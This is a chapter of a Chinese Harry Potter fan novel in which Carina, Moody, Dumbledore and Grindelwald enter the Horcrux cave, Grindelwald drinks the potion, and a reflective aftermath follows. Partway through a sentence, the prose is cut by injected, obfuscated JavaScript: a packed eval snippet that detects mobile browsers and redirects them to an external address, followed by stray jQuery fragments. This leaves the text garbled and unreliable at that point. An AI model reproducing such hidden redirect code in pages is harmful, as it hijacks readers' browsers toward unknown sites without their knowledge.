108.Chapter107

作品:《[HP]夜航船

    大海的气味和波涛翻滚的声音。


    这是一个光线充足的早晨,卡莉娜踩在岩石参差不齐的凹缝上,很快攀岩而下,接近下面那些在悬崖周围、半露出海面的巨型卵石。


    “邓布利多教授!”她站在最靠近悬崖正面的那块巨型卵石上,对还上方的几位喊道,“格林德沃先生——是否需要帮一把手?”


    穆迪敏捷地从一块滑溜溜的石头上跳下来,借着卡莉娜的手站稳。


    邓布利多教授愉快地摆摆手,在卵石上寻了一块平坦的位置,攀岩的身姿相当利落。


    格林德沃一声不吭,犟着一颗脑袋往下缓慢地走着。


    他在牢里关了二十多年,身体相当虚弱——即使在炼金公司好吃好喝地供了一段时间,他也没有完全从监狱带给他的负面影响中脱离。


    “游泳。”穆迪对卡莉娜嘟哝着说,“又要游泳。”


    上次来岩洞的只有穆迪和卡莉娜,他们俩迅捷地搜索了岩洞内外,打走好几瓶魔药。


    “仔细想想,”穆迪低声对卡莉娜说,“这东西倒是方便那帮食死徒招供……当然,当然,我只是想想。”


    卡莉娜明白穆迪的意思。在追捕罗齐尔他们的过程中,穆迪永远失去了自己的一块鼻子——如今他的鼻子怪异地凹陷着,但他自己显得并不在意。


    “我听说卡卡洛夫想要和魔法部交易。”卡莉娜问。


    “哦,是的。”穆迪脸上带着一种显而易见的厌恶,“我用了六个月时间来抓他,克劳奇却想要和他交易……当然,卡卡洛夫这种泥鳅翻不起多大的风浪,但我也怀疑他能供出谁的名字……不过我还是主张听听他在说什么。”


    “然后把他扔回阿兹卡班?”卡莉娜猜测道。


    “没错。”穆迪咧开嘴。


    格林德沃此时终于下到他们旁边,用锐利的目光扫视着他们三个人。


    邓布利多教授没有看他。


    悬崖上的缺口在这个角度显得相当明晰,穆迪把那道口子指给其他人看。


    邓布利多教授轻轻滑进水里,把魔杖叼着,采取一个完美的蛙泳姿势。穆迪毫不犹豫地跳进冰冷的海水,顺脚把格林德沃踹了下去。卡莉娜连忙潜入水中,试图把格林德沃的脑袋从水里救出来。


    格林德沃从另一边浮出来,头也不回地游走了——卡莉娜从他的后脑勺上看出了拒绝。


    “幸好是在早上。”穆迪爬上岸的时候说,“晚上真是冷得要命——哦,这股海水的味道!”


    卡莉娜把自己身上的海藻除去,一键烘干。在格林德沃的眼神撇过来之前,她很麻利地把他也弄得干干净净的。


    邓布利多教授站在岩洞中央,魔杖高高地举在手里,他原地缓缓地转着圈,仔细查看着岩壁和洞顶。


    “入口是隐蔽的。”邓布利多教授说。


    “是啊,”穆迪一边甩着脑袋(他总疑心有些盐粒卡在自己的头发里),一边从自己的袍子里取出什么东西,“我们摸遍这个岩洞——从上到下的每一寸——然后确定了黑魔头的低级趣味,给,阿不思,或许你会喜欢试试。”


    邓布利多教授举起手里的一小瓶龙血,对着魔杖尖上的光芒仔细打量了一番。


    “非常新鲜。”穆迪说,“纽特还没带着他那头巨型宝贝离开英国——而我昨天碰到他们俩大打一架,为了剪指甲的事闹脾气——我说那头龙。总而言之……”


    穆迪对这瓶龙血点头示意。


    “一个非常浪费的主意?”邓布利多笑呵呵地对卡莉娜说。


    “是的。”卡莉娜耸耸肩,“上一回我可是笨手笨脚地把能收集回来的龙血重新装瓶了……它很贵。”


    “平常倒是不见你节省。”格林德沃在她身后怪里怪气地说。


    “那都是必要的支出。”卡莉娜大言不惭地说,“我可不想把龙血浪费在这里。”


    邓布利多教授平静地把一小瓶龙血泼在岩石上。


    “富有生命力和魔力的血液。”卡莉娜注视着那些粘稠的血液滚落在墙壁上,“从某种意义上来说,甚至比人类的血液更符合黑魔王的要求——虽然不完全新鲜,但也完全够了。“


    “太低级。”格林德沃在最后面嘟哝着说。


    白得耀眼的拱门轮廓出现在岩壁上,那块洒满鲜血的岩石消失,露出一个门洞,里面似乎是无尽的黑暗。


    穆迪在最前面,举着自己发光的魔杖。格林德沃被安排到他后面,借着其他人魔杖上的光辨认脚下的路。卡莉娜跟着格林德沃走着,尽量让老头靠着墙走。邓布利多教授走在最后,他们的脚步声轻轻的,在浓得化不开的黑暗里啪嗒啪嗒地响着。他们身边是一片一望无际的黑色湖泊,湖面平静的像是一块玻璃。远远的,能看到湖中央一片莹莹的、模糊的绿光。


    “喔,”穆迪在最前面说,“我记得上次就在这里……”


    “我想我们有些走过头了。”邓布利多教授高兴地说,双手在空气中慢慢划动,似乎想找到并抓住某个无形的东西。他把手一合,慢慢挪向湖边——他依旧悬空攥着那只手,另一只手举着魔杖,用魔杖尖敲了敲他的拳头。


    一条粗粗的绿色铜链突然从湖水深处冒了出来,蹿向邓布利多紧攥的拳头。邓布利多用魔杖敲了敲链条,链条便开始像蛇一样从他的拳头里滑过,在地上盘成一堆,丁丁当当的声音撞在岩壁上,发出响亮的回声。那条幽灵一样的绿色小船划破湖面,向他们漂来。


    “一次只能乘坐一名巫师。”穆迪粗声说,“我们必须一个个过去。”


    “不用。”格林德沃慢慢走上前,“船上可以坐下两个人。”


    “他只考虑有多少魔法力量穿越了他的湖。”卡莉娜喃喃地说。


    格林德沃挑衅似的看着邓布利多。


    “上船吧。”邓布利多心平气和地说,“我们两个可以一起去。”


    格林德沃似乎没有品尝到胜利的滋味。他慢慢爬进船里,在小船的一端站稳。邓布利多也跨了进去,把链条盘起来堆在船底。他们俩的身量都不矮,站在这艘小船里显得拥挤——但谁都不打算和另一个人靠在一起,因此显得有些滑稽——虽然靠在一起可能更加滑稽。


    “你们可以在岸的这一边等一等。”邓布利多教授对他们俩说,“注意周遭的情况。或许拿走魂器会惊动湖里的东西——你们可以及时把我们从那一边拉回来。”


    穆迪同意了。


    于是卡莉娜和穆迪站在一块儿,看着小船被拉向湖中央的那抹淡淡的绿光。很快,格林德沃和邓布利多的身影在他们的视野中只剩下一个小小的点,而后消失不见。


    “虽然西弗勒斯他们研究出了这种魔药的解药。”卡莉娜对穆迪说,“但我依旧不认为这种魔药有被喝掉之外的可能。”


    “我也这么想。”穆迪低沉地回答道,“否则我不会同意格林德沃跟着过来。”


    “他们很快就会意识到,”卡莉娜平静地说,“这种魔药——只要它还在那个石头盆里——就不能用任何办法来破解。拆除这里的魔法会惊动黑魔王,所以他们之中必须有一个喝掉那盆魔药。”


    “看来我们得指望那个囚犯功力大增。”穆迪拿下自己身边的酒壶,“或者指望着他良心发现。”


    他们俩在这片格外厚重的黑暗之中紧张地等待着。


    “所以这是那魔头最后的魂器。”穆迪说,“剩下来的问题,就是把他自己逮住。”


    “这不是一件容易的事。”卡莉娜说,“他向来不和邓布利多教授硬碰硬——每当教授出现,他就会望风而逃——当然,他的撤退是很有风度的。”


    “我喜欢这个词。”穆迪嘟哝着说,“望风而逃,非常形象。”


    他们俩尝试着把小船的铁链再一次扯出来,但没有让小船往这边漂来。


    “他们靠岸了。”卡莉娜说。


    “我好像听到了什么声音。”穆迪严肃地说,“非常模糊……如果见机不妙,我们必须很快上岛。”


    “再等等。”卡莉娜严肃地说,“如果我们都在湖心,逃跑就显得有些麻烦。”


    “撤退。”穆迪眯起眼睛,“我会说,我们在撤退。但你有非常好的危机意识,黑魔头不会无缘无故地弄出满湖阴尸。”


    湖心的声音变得清晰起来——卡莉娜也捕捉到了那些声音,似乎有人在大喊大叫,但仔细去听,又听不清楚。


    穆迪从怀里拿出一只怀表。


    分针还没在表上走过一圈,他们俩就听见一声惨叫在整个岩洞里回荡。紧接着又是一声尖叫。


    在尖叫和尖叫声中似乎夹杂着什么模糊的话。这些话像是从一个人身体里挤出来的,又像是呻吟,又像是恳求。


    “德语。”卡莉娜轻轻地说,“我的德语水平相当糟糕。”


    “喔,”穆迪把酒壶挂回腰间,“我只认识几个单词。但看来他良心发现了。”


    “我让邓布利多教授带了一壶水。”卡莉娜看着穆迪挂在腰间的酒壶,“但我想可能也用不上——那个岛恐怕有让清水消失的咒语。”


    “黑魔头在折磨人方面向来无懈可击。”穆迪抓紧自己的魔杖,但它的光芒完全不足以穿透面前的黑暗,“我们要做好准备。”


    “也许我该叫一个小精灵来,至少可以把格林德沃带走。”卡莉娜忧虑地说。


    “他在折磨人这方面无懈可击。”穆迪重复道,“黑魔头按照魔力来衡量个体——小精灵只够带走自己。”


    “看来我们没能钻太多空子。”卡莉娜说。


    “做好准备!”穆迪突然大喊道。


    整湖的阴尸骚动起来。火焰和光芒从穆迪和卡莉娜的魔杖尖端倾泄而出。为了避开这些光和火,一部分阴尸往旁边窜去,但这还远远不够。


    紧接着,一阵耀眼的光辉从湖中央爆发出来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795099|185562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,掩盖了幽绿色的荧光和沉闷的黑暗——阿不思·邓布利多像是一轮升起的太阳,用强烈的光和炽热的火照亮了整个岩洞。


    借着爆发出来的光芒,卡莉娜看见那些阴尸们簇拥着格林德沃和邓布利多来到湖边,迫不及待地重新滑入黑暗的湖水中。邓布利多先将昏迷的格林德沃放进小船,紧接着自己也爬了进去。穆迪猛地拽住手里的锁链,卡莉娜和他一块儿把这些叮叮当当的玩意儿往这边加速拉来。


    小船以极快地速度靠岸,围绕着小船的火环也慢慢熄灭。


    “阴尸没有跟过来。”穆迪快速检查后,把格林德沃从小船里抬出来。


    他看起来相当虚弱,还没有完全恢复意识。


    以卡莉娜的德语水平,只能勉强辨认出他嘴里反复喃喃着的几个词汇:“悔恨”、“抱歉”,或者几个熟悉又陌生的人名。


    邓布利多教授看起来格外严肃和疲惫。


    他们很快从岩洞出去——又一瓶龙血被泼在岩石上,但卡莉娜这次管不了太多它的事。


    穆迪和邓布利多教授支撑着格林德沃勉强游过冰冷的海,他们又一次站在湿漉漉的卵石上。


    来不及多说什么,所有人迈入恐怖的挤压感。


    ————


    格林德沃被安顿在他自己的床里,壁炉烧得热热的——虽然这还是个夏天——但他的脸依旧苍白而没有生气。


    “他很虚弱。”巴兹尔检查之后说,“当然,喝完那一盆魔药并不有利于他的健康。但至少我们现在也有一盆解药,他会好起来的。”


    “他什么时候能清醒过来?”卡莉娜问。


    “明天早上。”巴兹尔耸耸肩,“总得给他一些睡眠的时间……明天早上,我们就能看到他嚷嚷着要吃酸面包和果酱当早饭。”


    卡莉娜疑心治疗师们是否都有些残忍的幽默感。但想到庞弗雷夫人,她又不那么确定。


    巴兹尔贴心地把房间留给他们,自己拎起放在门口的牛奶桶,快快活活地走了(是的,农场里又养了奶牛)。


    格林德沃勉强掀开一点眼皮,但看起来依旧迷迷瞪瞪的。


    “阿不思。”卡莉娜这回听得清清楚楚,因为格林德沃在使用英语,“我很抱歉。”


    他苍老的手抓住了他苍老的手。


    穆迪已经赶着去上班,因此房间里此时只站着两个清醒的活人。


    “你糊涂了。”邓布利多对格林德沃说,语气平静无波。


    邓布利多轻轻把手抽出来。


    格林德沃睡着了。


    两个清醒的活人离开非常炎热的室内,在走廊上走着。


    “或许我该给你看看。”邓布利多教授温和地说,“斯莱特林的挂坠盒,非常精美。”


    “哦,不,”卡莉娜拒绝道,“想到它里面住着黑魔王的魂片,我只会觉得伤感。”


    他们俩有片刻的沉默。


    “我希望他在纽蒙迦德的监狱里忏悔了。”邓布利多教授慢慢地说。


    “我们都这么希望。”卡莉娜回答道。


    卡莉娜把邓布利多教授送到农场的边缘。


    “我想他总会被送回纽蒙迦德,教授。”卡莉娜在邓布利多教授消失前对他说。


    “我也这么想。”邓布利多教授没有幻影移形,而是对她挥挥手,沿着农场的小道往戈德里克山谷走去。


    他带着铜扣的鞋尖在阳光下闪闪发亮。


    卡拉多克从农场的另一边大踏步走过来。


    “我看到你在这里。”笑容点亮他的脸,“那是邓布利多教授吗?”


    “是的。”卡莉娜感到心情不再那么沉重,“是他。”


    “也许你可以和我简略讲讲发生的事。”卡拉多克提着一摞文件,低下头对她说,“说出来会让心里好受些。”


    “喔,”卡莉娜分走一些文件,“我想它有些过分复杂……但如果简单来讲,信任是一件很脆弱的物品,是不是?一旦摔碎,它就再也变不回原来的模样。”


    “是的。”卡拉多克赞成道,“它永远会有裂缝。每当你回望一段时光,或者一个人,这些裂缝就会提醒你,有些东西再也不能够挽回。”


    “这就是我感到沉重的东西。”卡莉娜说,野花拂过她的袍子,“无法挽回的一切。信任、时光,那个特别的人。”


    “但我想这就是遗憾。”卡拉多克说,“生命中必然存在的事物……它们教会我们珍惜现在,毕竟我们一直处在一段无法回去的时光当中……即使是此时此刻的我们,也无法回到刚刚逝去的瞬间。正因为不可挽回,过去、现在和未来都变得如此珍贵。”


    他们俩并肩走着,感受到彼此的生命正在蓬勃地生长。


    卡拉多克不会让她感到完整——她自己足够完整。但每当他们俩走在一块儿的时候,她总觉得这样刚好。


    刚好陪对方走过一段漫长的路,或者时光。